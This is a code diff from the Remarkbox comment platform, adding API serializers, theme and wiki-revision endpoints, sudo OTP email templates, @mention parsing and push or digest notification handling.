|
if isinstance(output, bytes):
|
||||||
|
sys.stdout.buffer.write(output)
|
||||||
|
else:
|
||||||
|
print(output)
|
||||||
|
sys.exit(0)
|
||||||
|
elif cmd == "export-ns" and len(args) >= 1:
|
||||||
|
fmt = args[1] if len(args) > 1 else "markdown"
|
||||||
|
output = client.export_namespace(args[0], fmt)
|
||||||
|
if isinstance(output, bytes):
|
||||||
|
sys.stdout.buffer.write(output)
|
||||||
|
else:
|
||||||
|
print(output)
|
||||||
|
sys.exit(0)
|
||||||
|
elif cmd == "export-node" and len(args) >= 1:
|
||||||
|
fmt = args[1] if len(args) > 1 else "markdown"
|
||||||
|
output = client.export_node(args[0], fmt)
|
||||||
|
if isinstance(output, bytes):
|
||||||
|
sys.stdout.buffer.write(output)
|
||||||
|
else:
|
||||||
|
print(output)
|
||||||
|
sys.exit(0)
|
||||||
|
else:
|
||||||
|
print(usage)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(json.dumps(result, indent=2))
|
||||||
|
|
||||||
|
except RemarkboxError as e:
|
||||||
|
print(json.dumps({"error": str(e), "status": e.status}, indent=2), file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
56
remarkbox/api/serializers.py
Normal file
|
|
@ -0,0 +1,56 @@
|
||||||
|
def serialize_node(node, include_children=False):
|
||||||
|
"""Serialize a Node model to a dictionary."""
|
||||||
|
result = {
|
||||||
|
"id": str(node.id),
|
||||||
|
"root_id": str(node.root_id) if node.root_id else None,
|
||||||
|
"parent_id": str(node.parent_id) if node.parent_id else None,
|
||||||
|
"title": node.title,
|
||||||
|
"data": node.data,
|
||||||
|
"data_html": node.data_html,
|
||||||
|
"source_format": node.source_format,
|
||||||
|
"is_root": node.is_root,
|
||||||
|
"depth": node.graph_depth,
|
||||||
|
"created": node.created,
|
||||||
|
"created_date": node.created_date,
|
||||||
|
"created_ago": node.human_created_timestamp,
|
||||||
|
"changed": node.changed,
|
||||||
|
"changed_date": node.changed_date,
|
||||||
|
"changed_ago": node.human_changed_timestamp,
|
||||||
|
"disabled": node.disabled,
|
||||||
|
"verified": node.verified,
|
||||||
|
"locked": node.locked,
|
||||||
|
"approved": node.approved,
|
||||||
|
"was_edited": node.was_edited,
|
||||||
|
"author": serialize_author(node),
|
||||||
|
}
|
||||||
|
if include_children:
|
||||||
|
result["stats"] = node.stats if node.cache else None
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def serialize_author(node):
|
||||||
|
"""Serialize the author (User or UserSurrogate) of a node."""
|
||||||
|
if node.user:
|
||||||
|
return {
|
||||||
|
"type": "user",
|
||||||
|
"id": str(node.user.id),
|
||||||
|
"name": node.user.name,
|
||||||
|
}
|
||||||
|
elif node.user_surrogate:
|
||||||
|
return {
|
||||||
|
"type": "surrogate",
|
||||||
|
"id": str(node.user_surrogate.id),
|
||||||
|
"name": node.user_surrogate.name,
|
||||||
|
}
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def serialize_namespace_brief(namespace):
|
||||||
|
"""Serialize minimal namespace info for API responses."""
|
||||||
|
return {
|
||||||
|
"id": str(namespace.id),
|
||||||
|
"name": namespace.name,
|
||||||
|
"description": namespace.description,
|
||||||
|
"allow_anonymous": namespace.allow_anonymous,
|
||||||
|
"node_order": namespace.node_order,
|
||||||
|
}
|
||||||
80
remarkbox/api/themes.py
Normal file
|
|
@ -0,0 +1,80 @@
|
||||||
|
"""Theme generation API endpoints."""
|
||||||
|
|
||||||
|
from pyramid.response import Response
|
||||||
|
from pyramid.view import view_config
|
||||||
|
|
||||||
|
from remarkbox.models.namespace import get_namespace_by_name
|
||||||
|
from remarkbox.lib.theme_generator import generate_theme_css
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-namespace-theme",
|
||||||
|
request_method="GET",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_namespace_theme(request):
|
||||||
|
"""Generate and serve a theme CSS for a namespace.
|
||||||
|
|
||||||
|
The theme is deterministic -- same namespace always gets the same theme.
|
||||||
|
Cache-friendly: can be cached indefinitely (changes only if we change the algorithm).
|
||||||
|
"""
|
||||||
|
namespace_name = request.matchdict["namespace_name"]
|
||||||
|
|
||||||
|
# Validate namespace exists
|
||||||
|
namespace = get_namespace_by_name(request.dbsession, namespace_name)
|
||||||
|
if namespace is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
request.response.content_type = "application/json"
|
||||||
|
request.response.json_body = {"error": "Namespace not found"}
|
||||||
|
return request.response
|
||||||
|
|
||||||
|
css = generate_theme_css(namespace_name)
|
||||||
|
|
||||||
|
response = Response(
|
||||||
|
body=css,
|
||||||
|
content_type="text/css; charset=utf-8",
|
||||||
|
)
|
||||||
|
# Cache for 1 day -- theme is deterministic but we might update the algorithm
|
||||||
|
response.cache_control.max_age = 86400
|
||||||
|
response.cache_control.public = True
|
||||||
|
return response
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-theme-preview",
|
||||||
|
request_method="GET",
|
||||||
|
renderer="json",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_theme_preview(request):
|
||||||
|
"""Preview theme variables for a namespace (JSON format).
|
||||||
|
|
||||||
|
Useful for theme customization UI -- shows the computed palette
|
||||||
|
without needing to parse CSS.
|
||||||
|
"""
|
||||||
|
namespace_name = request.matchdict["namespace_name"]
|
||||||
|
|
||||||
|
namespace = get_namespace_by_name(request.dbsession, namespace_name)
|
||||||
|
if namespace is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
return {"error": "Namespace not found"}
|
||||||
|
|
||||||
|
from remarkbox.lib.theme_generator import _name_to_seed
|
||||||
|
seed = _name_to_seed(namespace_name)
|
||||||
|
|
||||||
|
hue = seed[0] % 360
|
||||||
|
hue_offset = 30 + (seed[1] % 30)
|
||||||
|
secondary_hue = (hue + hue_offset) % 360
|
||||||
|
accent_hue = (hue + 180 + (seed[2] % 40 - 20)) % 360
|
||||||
|
sat_base = 40 + (seed[3] % 25)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"namespace": namespace_name,
|
||||||
|
"palette": {
|
||||||
|
"primary_hue": hue,
|
||||||
|
"secondary_hue": secondary_hue,
|
||||||
|
"accent_hue": accent_hue,
|
||||||
|
"saturation_base": sat_base,
|
||||||
|
},
|
||||||
|
"css_url": "/api/v1/themes/{}/css".format(namespace_name),
|
||||||
|
}
|
||||||
1235
remarkbox/api/views.py
Normal file
187
remarkbox/api/wiki.py
Normal file
|
|
@ -0,0 +1,187 @@
|
||||||
|
"""Wiki mode and revision history API endpoints."""
|
||||||
|
|
||||||
|
import difflib
|
||||||
|
|
||||||
|
from pyramid.view import view_config
|
||||||
|
|
||||||
|
from remarkbox.models.node import get_node_by_id, Node
|
||||||
|
from remarkbox.models.revision import Revision
|
||||||
|
|
||||||
|
from .views import check_namespace_api_access, get_json_body, MAX_CONTENT_LENGTH
|
||||||
|
from .serializers import serialize_node
|
||||||
|
|
||||||
|
from remarkbox.models.meta import get_object_by_id
|
||||||
|
|
||||||
|
|
||||||
|
def serialize_revision(rev):
|
||||||
|
"""Serialize a Revision to a dict."""
|
||||||
|
return {
|
||||||
|
"id": str(rev.id),
|
||||||
|
"node_id": str(rev.node_id),
|
||||||
|
"user_id": str(rev.user_id) if rev.user_id else None,
|
||||||
|
"author": rev.user.name if rev.user else None,
|
||||||
|
"data": rev.data,
|
||||||
|
"source_format": rev.source_format,
|
||||||
|
"revision_number": rev.revision_number,
|
||||||
|
"created": rev.created,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-node-revisions",
|
||||||
|
request_method="GET",
|
||||||
|
renderer="json",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_node_revisions(request):
|
||||||
|
"""Get revision history for a node."""
|
||||||
|
node_id = request.matchdict["node_id"]
|
||||||
|
node = get_node_by_id(request.dbsession, node_id)
|
||||||
|
|
||||||
|
if node is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
return {"error": "Node not found"}
|
||||||
|
|
||||||
|
namespace = node.root.namespace
|
||||||
|
denied = check_namespace_api_access(request, namespace)
|
||||||
|
if denied:
|
||||||
|
return denied
|
||||||
|
|
||||||
|
revisions = (
|
||||||
|
request.dbsession.query(Revision)
|
||||||
|
.filter(Revision.node_id == node.id)
|
||||||
|
.order_by(Revision.revision_number.desc())
|
||||||
|
.all()
|
||||||
|
)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"node_id": str(node.id),
|
||||||
|
"revisions": [serialize_revision(r) for r in revisions],
|
||||||
|
"count": len(revisions),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-node-wiki-edit",
|
||||||
|
request_method="POST",
|
||||||
|
renderer="json",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_wiki_edit(request):
|
||||||
|
"""Wiki-edit a node (creates a revision, any authenticated user if wiki mode)."""
|
||||||
|
node_id = request.matchdict["node_id"]
|
||||||
|
node = get_node_by_id(request.dbsession, node_id)
|
||||||
|
|
||||||
|
if node is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
return {"error": "Node not found"}
|
||||||
|
|
||||||
|
if not request.user or not request.user.authenticated:
|
||||||
|
request.response.status_code = 401
|
||||||
|
return {"error": "Authentication required"}
|
||||||
|
|
||||||
|
namespace = node.root.namespace
|
||||||
|
|
||||||
|
denied = check_namespace_api_access(request, namespace)
|
||||||
|
if denied:
|
||||||
|
return denied
|
||||||
|
|
||||||
|
if not namespace.can_wiki_edit(node, request.user):
|
||||||
|
request.response.status_code = 403
|
||||||
|
return {"error": "Wiki editing not permitted for this node"}
|
||||||
|
|
||||||
|
body = get_json_body(request)
|
||||||
|
data = body.get("data", "")
|
||||||
|
|
||||||
|
if not data:
|
||||||
|
request.response.status_code = 400
|
||||||
|
return {"error": "data is required"}
|
||||||
|
|
||||||
|
if len(data) > MAX_CONTENT_LENGTH:
|
||||||
|
request.response.status_code = 400
|
||||||
|
return {"error": "data exceeds maximum length"}
|
||||||
|
|
||||||
|
source_format = body.get("source_format")
|
||||||
|
|
||||||
|
node.wiki_edit(data, user=request.user, source_format=source_format)
|
||||||
|
request.dbsession.add(node)
|
||||||
|
request.dbsession.flush()
|
||||||
|
|
||||||
|
return {"node": serialize_node(node)}
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-revision-detail",
|
||||||
|
request_method="GET",
|
||||||
|
renderer="json",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_get_revision(request):
|
||||||
|
"""Get a specific revision by ID."""
|
||||||
|
revision_id = request.matchdict["revision_id"]
|
||||||
|
|
||||||
|
revision = get_object_by_id(request.dbsession, revision_id, Revision)
|
||||||
|
|
||||||
|
if revision is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
return {"error": "Revision not found"}
|
||||||
|
|
||||||
|
node = get_node_by_id(request.dbsession, revision.node_id)
|
||||||
|
if node:
|
||||||
|
namespace = node.root.namespace
|
||||||
|
denied = check_namespace_api_access(request, namespace)
|
||||||
|
if denied:
|
||||||
|
return denied
|
||||||
|
|
||||||
|
return {"revision": serialize_revision(revision)}
|
||||||
|
|
||||||
|
|
||||||
|
@view_config(
|
||||||
|
route_name="api-revision-diff",
|
||||||
|
request_method="GET",
|
||||||
|
renderer="json",
|
||||||
|
require_csrf=False,
|
||||||
|
)
|
||||||
|
def api_revision_diff(request):
|
||||||
|
"""Compare two revisions of the same node via unified diff."""
|
||||||
|
revision_id = request.matchdict["revision_id"]
|
||||||
|
other_id = request.matchdict["other_id"]
|
||||||
|
|
||||||
|
revision = get_object_by_id(request.dbsession, revision_id, Revision)
|
||||||
|
if revision is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
return {"error": "Revision not found: {}".format(revision_id)}
|
||||||
|
|
||||||
|
other = get_object_by_id(request.dbsession, other_id, Revision)
|
||||||
|
if other is None:
|
||||||
|
request.response.status_code = 404
|
||||||
|
return {"error": "Revision not found: {}".format(other_id)}
|
||||||
|
|
||||||
|
if revision.node_id != other.node_id:
|
||||||
|
request.response.status_code = 400
|
||||||
|
return {"error": "Revisions belong to different nodes"}
|
||||||
|
|
||||||
|
node = get_node_by_id(request.dbsession, revision.node_id)
|
||||||
|
if node:
|
||||||
|
namespace = node.root.namespace
|
||||||
|
denied = check_namespace_api_access(request, namespace)
|
||||||
|
if denied:
|
||||||
|
return denied
|
||||||
|
|
||||||
|
from_lines = revision.data.splitlines(keepends=True)
|
||||||
|
to_lines = other.data.splitlines(keepends=True)
|
||||||
|
diff = difflib.unified_diff(
|
||||||
|
from_lines,
|
||||||
|
to_lines,
|
||||||
|
fromfile="revision {}".format(revision.revision_number),
|
||||||
|
tofile="revision {}".format(other.revision_number),
|
||||||
|
)
|
||||||
|
|
||||||
|
return {
|
||||||
|
"from_revision": str(revision.id),
|
||||||
|
"to_revision": str(other.id),
|
||||||
|
"from_number": revision.revision_number,
|
||||||
|
"to_number": other.revision_number,
|
||||||
|
"node_id": str(revision.node_id),
|
||||||
|
"diff": "".join(diff),
|
||||||
|
}
|
||||||
|
|
@ -14,6 +14,11 @@ def timestamp_to_date_string(timestamp):
|
||||||
return timestamp_to_datetime(timestamp).strftime("%b %d, %Y %I:%M %P")
|
return timestamp_to_datetime(timestamp).strftime("%b %d, %Y %I:%M %P")
|
||||||
|
|
||||||
|
|
||||||
|
def timestamp_to_date(timestamp):
|
||||||
|
"""Accepts a timestamp and returns a short date string (e.g., 'Dec 19, 2024')"""
|
||||||
|
return timestamp_to_datetime(timestamp).strftime("%b %d, %Y")
|
||||||
|
|
||||||
|
|
||||||
def timestamp_to_ago_string(timestamp):
|
def timestamp_to_ago_string(timestamp):
|
||||||
"""Accepts a timestamp and returns a human readable string"""
|
"""Accepts a timestamp and returns a human readable string"""
|
||||||
return human(timestamp_to_datetime(timestamp), 2, abbreviate=True)
|
return human(timestamp_to_datetime(timestamp), 2, abbreviate=True)
|
||||||
|
|
|
||||||
|
|
@ -13,6 +13,8 @@ from remarkbox.lib.mail_messages import (
|
||||||
WELCOME_2_TEXT,
|
WELCOME_2_TEXT,
|
||||||
WELCOME_2_HTML,
|
WELCOME_2_HTML,
|
||||||
OPERATOR_HTML,
|
OPERATOR_HTML,
|
||||||
|
SUDO_OTP_TEXT,
|
||||||
|
SUDO_OTP_HTML,
|
||||||
)
|
)
|
||||||
|
|
||||||
import dkim
|
import dkim
|
||||||
|
|
@ -187,16 +189,24 @@ def send_verification_digits_to_email(request, to_email, raw_digits):
|
||||||
message_text = WELCOME_1_TEXT.format(raw_digits)
|
message_text = WELCOME_1_TEXT.format(raw_digits)
|
||||||
message_html = WELCOME_1_HTML.format(subject, raw_digits)
|
message_html = WELCOME_1_HTML.format(subject, raw_digits)
|
||||||
|
|
||||||
if not request.user.verified:
|
if request.user and request.user.verified:
|
||||||
message_text = WELCOME_1_TEXT.format(raw_digits)
|
|
||||||
message_html = WELCOME_1_HTML.format(subject, raw_digits)
|
|
||||||
else:
|
|
||||||
message_text = WELCOME_2_TEXT.format(raw_digits)
|
message_text = WELCOME_2_TEXT.format(raw_digits)
|
||||||
message_html = WELCOME_2_HTML.format(subject, raw_digits)
|
message_html = WELCOME_2_HTML.format(subject, raw_digits)
|
||||||
|
else:
|
||||||
|
message_text = WELCOME_1_TEXT.format(raw_digits)
|
||||||
|
message_html = WELCOME_1_HTML.format(subject, raw_digits)
|
||||||
|
|
||||||
send_pyramid_email(request, to_email, subject, message_text, message_html)
|
send_pyramid_email(request, to_email, subject, message_text, message_html)
|
||||||
|
|
||||||
|
|
||||||
|
def send_sudo_otp_email(request, to_email, action_description, code):
|
||||||
|
"""Send a sudo OTP confirmation email."""
|
||||||
|
subject = "Security Verification - {}".format(code)
|
||||||
|
message_text = SUDO_OTP_TEXT.format(action=action_description, code=code)
|
||||||
|
message_html = SUDO_OTP_HTML.format(action=action_description, code=code)
|
||||||
|
send_pyramid_email(request, to_email, subject, message_text, message_html)
|
||||||
|
|
||||||
|
|
||||||
def send_operator_email(request, msg):
|
def send_operator_email(request, msg):
|
||||||
send_pyramid_email(
|
send_pyramid_email(
|
||||||
request,
|
request,
|
||||||
|
|
|
||||||
|
|
@ -26,21 +26,26 @@ WELCOME_1_HTML = """
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<title>{0}</title>
|
<title>{0}</title>
|
||||||
|
<style>
|
||||||
|
.otp-code {{
|
||||||
|
font-size: 3em;
|
||||||
|
font-weight: bold;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
margin: 1em 0;
|
||||||
|
}}
|
||||||
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<h2>Hello!</h2>
|
<h1 class="otp-code">{1}</h1>
|
||||||
|
|
||||||
|
<p>Hello!</p>
|
||||||
|
|
||||||
<p>
|
<p>
|
||||||
Thanks for joining the discussion.
|
Thanks for joining the discussion.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p>
|
<p>
|
||||||
Here is the verification code you requested:
|
Here is the verification code you requested.
|
||||||
</p>
|
|
||||||
|
|
||||||
<p><b>{1}</b></p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
This will verify your email and log you in.
|
This will verify your email and log you in.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
|
|
@ -81,16 +86,24 @@ WELCOME_2_HTML = """
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<title>{0}</title>
|
<title>{0}</title>
|
||||||
|
<style>
|
||||||
|
.otp-code {{
|
||||||
|
font-size: 3em;
|
||||||
|
font-weight: bold;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
margin: 1em 0;
|
||||||
|
}}
|
||||||
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<h2>Hello again!</h2>
|
<h1 class="otp-code">{1}</h1>
|
||||||
|
|
||||||
|
<p>Hello again!</p>
|
||||||
|
|
||||||
<p>
|
<p>
|
||||||
Here is the verification code you requested:
|
Here is the verification code you requested.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p><b>{1}</b></p>
|
|
||||||
|
|
||||||
<h3>What's next?</h3>
|
<h3>What's next?</h3>
|
||||||
|
|
||||||
<p>
|
<p>
|
||||||
|
|
@ -104,6 +117,50 @@ WELCOME_2_HTML = """
|
||||||
</html>
|
</html>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
SUDO_OTP_TEXT = """
|
||||||
|
Security Verification Required
|
||||||
|
|
||||||
|
Action: {action}
|
||||||
|
|
||||||
|
Your one-time confirmation code is:
|
||||||
|
|
||||||
|
\n{code}\n
|
||||||
|
|
||||||
|
This code expires in 15 minutes.
|
||||||
|
|
||||||
|
If you did not request this action, you can safely ignore this email.
|
||||||
|
"""
|
||||||
|
|
||||||
|
SUDO_OTP_HTML = """
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Security Verification</title>
|
||||||
|
<style>
|
||||||
|
.otp-code {{
|
||||||
|
font-size: 3em;
|
||||||
|
font-weight: bold;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
margin: 1em 0;
|
||||||
|
}}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h2>Security Verification Required</h2>
|
||||||
|
|
||||||
|
<p><strong>Action:</strong> {action}</p>
|
||||||
|
|
||||||
|
<p>Your one-time confirmation code is:</p>
|
||||||
|
|
||||||
|
<h1 class="otp-code">{code}</h1>
|
||||||
|
|
||||||
|
<p>This code expires in 15 minutes.</p>
|
||||||
|
|
||||||
|
<p>If you did not request this action, you can safely ignore this email.</p>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
"""
|
||||||
|
|
||||||
OPERATOR_HTML = """<!DOCTYPE html>
|
OPERATOR_HTML = """<!DOCTYPE html>
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
|
|
|
||||||
82
remarkbox/lib/mentions.py
Normal file
|
|
@ -0,0 +1,82 @@
|
||||||
|
"""
|
||||||
|
Parse @username mentions from comment text and resolve them to User objects.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Match @username where username is alphanumeric with dashes (matching
|
||||||
|
# is_user_name_valid from models/user.py). Must be preceded by whitespace
|
||||||
|
# or start-of-string to avoid matching email addresses like foo@bar.
|
||||||
|
MENTION_RE = re.compile(r'(?:^|(?<=\s))@([A-Za-z0-9](?:[A-Za-z0-9-]*[A-Za-z0-9])?)')
|
||||||
|
|
||||||
|
|
||||||
|
def parse_mention_usernames(text):
|
||||||
|
"""Return a set of unique usernames mentioned in text (without the @)."""
|
||||||
|
if not text:
|
||||||
|
return set()
|
||||||
|
return set(MENTION_RE.findall(text))
|
||||||
|
|
||||||
|
|
||||||
|
def resolve_mentions(dbsession, text):
|
||||||
|
"""
|
||||||
|
Parse @mentions from text, look up each username in the database.
|
||||||
|
|
||||||
|
Returns a dict mapping lowercase username -> User object for users
|
||||||
|
that exist. Non-existent usernames are omitted.
|
||||||
|
"""
|
||||||
|
# Import here to avoid circular import (user -> node -> render -> mentions -> user).
|
||||||
|
from remarkbox.models.user import get_user_by_name
|
||||||
|
|
||||||
|
usernames = parse_mention_usernames(text)
|
||||||
|
resolved = {}
|
||||||
|
for username in usernames:
|
||||||
|
user = get_user_by_name(dbsession, username)
|
||||||
|
if user is not None:
|
||||||
|
resolved[username.lower()] = user
|
||||||
|
return resolved
|
||||||
|
|
||||||
|
|
||||||
|
def replace_mentions_with_links(html, resolved_users, link_prefix=""):
|
||||||
|
"""
|
||||||
|
In rendered HTML, replace @username with profile links for resolved users.
|
||||||
|
Non-existent usernames (not in resolved_users) are left as plain text.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
html: the rendered HTML string
|
||||||
|
resolved_users: dict of lowercase username -> User object
|
||||||
|
link_prefix: URL prefix for profile links (e.g. "" or "/embed/ns/foo")
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
HTML with @mentions converted to anchor tags for valid users.
|
||||||
|
"""
|
||||||
|
if not resolved_users:
|
||||||
|
return html
|
||||||
|
|
||||||
|
def _replace(match):
|
||||||
|
username = match.group(1)
|
||||||
|
user = resolved_users.get(username.lower())
|
||||||
|
if user is None:
|
||||||
|
# Not a real user, leave as plain text.
|
||||||
|
return match.group(0)
|
||||||
|
# Use the user's canonical name for the display and link.
|
||||||
|
return '<a href="{}/u/{}" class="mention">@{}</a>'.format(
|
||||||
|
link_prefix, user.name, user.name
|
||||||
|
)
|
||||||
|
|
||||||
|
# Replace @username patterns in HTML, but skip anything inside tags
|
||||||
|
# (e.g. inside href attributes). We use a two-pass approach:
|
||||||
|
# first split on HTML tags, then only do replacements in text segments.
|
||||||
|
parts = re.split(r'(<[^>]+>)', html)
|
||||||
|
result = []
|
||||||
|
for i, part in enumerate(parts):
|
||||||
|
if part.startswith('<'):
|
||||||
|
# This is an HTML tag, leave it alone.
|
||||||
|
result.append(part)
|
||||||
|
else:
|
||||||
|
# This is a text segment, apply mention replacement.
|
||||||
|
result.append(MENTION_RE.sub(_replace, part))
|
||||||
|
return ''.join(result)
|
||||||
|
|
@ -67,6 +67,30 @@ def filter_watchers(watchers, exclude_users=None, include_users=None):
|
||||||
return f_watchers
|
return f_watchers
|
||||||
|
|
||||||
|
|
||||||
|
def get_mentioned_user_watchers(node):
|
||||||
|
"""
|
||||||
|
Parse @mentions from a node's data and return reply watchers
|
||||||
|
for mentioned users who exist.
|
||||||
|
"""
|
||||||
|
from remarkbox.lib.mentions import resolve_mentions
|
||||||
|
|
||||||
|
if not node.data:
|
||||||
|
return []
|
||||||
|
|
||||||
|
dbsession = node.dbsession
|
||||||
|
if dbsession is None:
|
||||||
|
return []
|
||||||
|
|
||||||
|
resolved = resolve_mentions(dbsession, node.data)
|
||||||
|
watchers = []
|
||||||
|
for user in resolved.values():
|
||||||
|
if user.verified:
|
||||||
|
# Use the user's reply watcher for mention notifications.
|
||||||
|
for w in user.reply_watchers:
|
||||||
|
watchers.append(w)
|
||||||
|
return watchers
|
||||||
|
|
||||||
|
|
||||||
def get_all_watchers(request, node_event):
|
def get_all_watchers(request, node_event):
|
||||||
"""Given a request and node_event, return all watcher objects."""
|
"""Given a request and node_event, return all watcher objects."""
|
||||||
# Note: we only notify a user once per method per event.
|
# Note: we only notify a user once per method per event.
|
||||||
|
|
@ -86,6 +110,9 @@ def get_all_watchers(request, node_event):
|
||||||
# know there was a new child node added to the conversation.
|
# know there was a new child node added to the conversation.
|
||||||
watchers.extend(node.parent.user.reply_watchers)
|
watchers.extend(node.parent.user.reply_watchers)
|
||||||
|
|
||||||
|
# extend watchers for @mentioned users.
|
||||||
|
watchers.extend(get_mentioned_user_watchers(node))
|
||||||
|
|
||||||
# extend the watchers list with any watchers of the request's root (thread).
|
# extend the watchers list with any watchers of the request's root (thread).
|
||||||
watchers.extend(node.root.watchers)
|
watchers.extend(node.root.watchers)
|
||||||
|
|
||||||
|
|
@ -151,6 +178,37 @@ def get_email_notifications(dbsession, frequency):
|
||||||
return notification_dict
|
return notification_dict
|
||||||
|
|
||||||
|
|
||||||
|
def filter_orphaned_notifications(notification_dict):
|
||||||
|
"""
|
||||||
|
Filter out notifications with null node_event from the notification dictionary.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
notification_dict: Dictionary mapping user_id to list of notifications
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict: Filtered notification dictionary with orphaned notifications removed
|
||||||
|
"""
|
||||||
|
filtered_dict = {}
|
||||||
|
total_orphaned = 0
|
||||||
|
|
||||||
|
for user_id, notifications in notification_dict.items():
|
||||||
|
valid_notifications = []
|
||||||
|
for notification in notifications:
|
||||||
|
if notification.node_event is None:
|
||||||
|
total_orphaned += 1
|
||||||
|
log.warning(f"Skipping orphaned notification {notification.id} for user {user_id}")
|
||||||
|
else:
|
||||||
|
valid_notifications.append(notification)
|
||||||
|
|
||||||
|
if valid_notifications:
|
||||||
|
filtered_dict[user_id] = valid_notifications
|
||||||
|
|
||||||
|
if total_orphaned > 0:
|
||||||
|
log.warning(f"Filtered out {total_orphaned} orphaned notifications")
|
||||||
|
|
||||||
|
return filtered_dict
|
||||||
|
|
||||||
|
|
||||||
def deliver_scheduled_notifications(request=None):
|
def deliver_scheduled_notifications(request=None):
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
from pyramid.scripting import prepare
|
from pyramid.scripting import prepare
|
||||||
|
|
@ -160,12 +218,52 @@ def deliver_scheduled_notifications(request=None):
|
||||||
request = env["request"]
|
request = env["request"]
|
||||||
|
|
||||||
notification_dict = get_email_notifications(request.dbsession, "daily")
|
notification_dict = get_email_notifications(request.dbsession, "daily")
|
||||||
send_digest_notifications(request, notification_dict, "daily")
|
filtered_dict = filter_orphaned_notifications(notification_dict)
|
||||||
|
send_digest_notifications(request, filtered_dict, "daily")
|
||||||
|
|
||||||
# Send weekly on Monday.
|
# Send weekly on Monday.
|
||||||
if datetime.today().weekday() == 0:
|
if datetime.today().weekday() == 0:
|
||||||
notification_dict = get_email_notifications(request.dbsession, "weekly")
|
notification_dict = get_email_notifications(request.dbsession, "weekly")
|
||||||
send_digest_notifications(request, notification_dict, "weekly")
|
filtered_dict = filter_orphaned_notifications(notification_dict)
|
||||||
|
send_digest_notifications(request, filtered_dict, "weekly")
|
||||||
|
|
||||||
|
|
||||||
|
def _send_push_for_notification(request, notification, root, namespace):
|
||||||
|
"""Send a push notification for a single notification if the user wants it."""
|
||||||
|
from remarkbox.lib.push import PUSH_AVAILABLE, send_push_to_user
|
||||||
|
if not PUSH_AVAILABLE:
|
||||||
|
return
|
||||||
|
|
||||||
|
user = notification.user
|
||||||
|
pref = getattr(user, "notification_preference", "email")
|
||||||
|
if pref not in ("push", "both"):
|
||||||
|
return
|
||||||
|
|
||||||
|
node = notification.node_event.node
|
||||||
|
action = notification.node_event.action
|
||||||
|
author = node.user.name if node.user else "Someone"
|
||||||
|
|
||||||
|
action_text = {
|
||||||
|
"created": "started a new thread",
|
||||||
|
"commented": "posted a reply",
|
||||||
|
"approved": "approved a comment",
|
||||||
|
"enabled": "enabled a comment",
|
||||||
|
"disabled": "disabled a comment",
|
||||||
|
"verified": "verified a comment",
|
||||||
|
}.get(action, action)
|
||||||
|
|
||||||
|
title = "[{}] new activity".format(namespace.name)
|
||||||
|
body = "{} {} on {}".format(author, action_text, root.title or "a thread")
|
||||||
|
url = "{}/r/{}".format(request.host_url, node.id)
|
||||||
|
|
||||||
|
payload = {
|
||||||
|
"title": title,
|
||||||
|
"body": body,
|
||||||
|
"url": url,
|
||||||
|
"tag": "remarkbox-{}".format(str(notification.id)[:8]),
|
||||||
|
}
|
||||||
|
|
||||||
|
send_push_to_user(request, user, payload)
|
||||||
|
|
||||||
|
|
||||||
def send_immediate_notifications(request, notifications):
|
def send_immediate_notifications(request, notifications):
|
||||||
|
|
@ -181,7 +279,11 @@ def send_immediate_notifications(request, notifications):
|
||||||
subject = "[{}] new activity".format(namespace.name)
|
subject = "[{}] new activity".format(namespace.name)
|
||||||
|
|
||||||
for notification in notifications:
|
for notification in notifications:
|
||||||
|
user_pref = getattr(notification.user, "notification_preference", "email")
|
||||||
|
|
||||||
|
# Send email if the user wants email (or both).
|
||||||
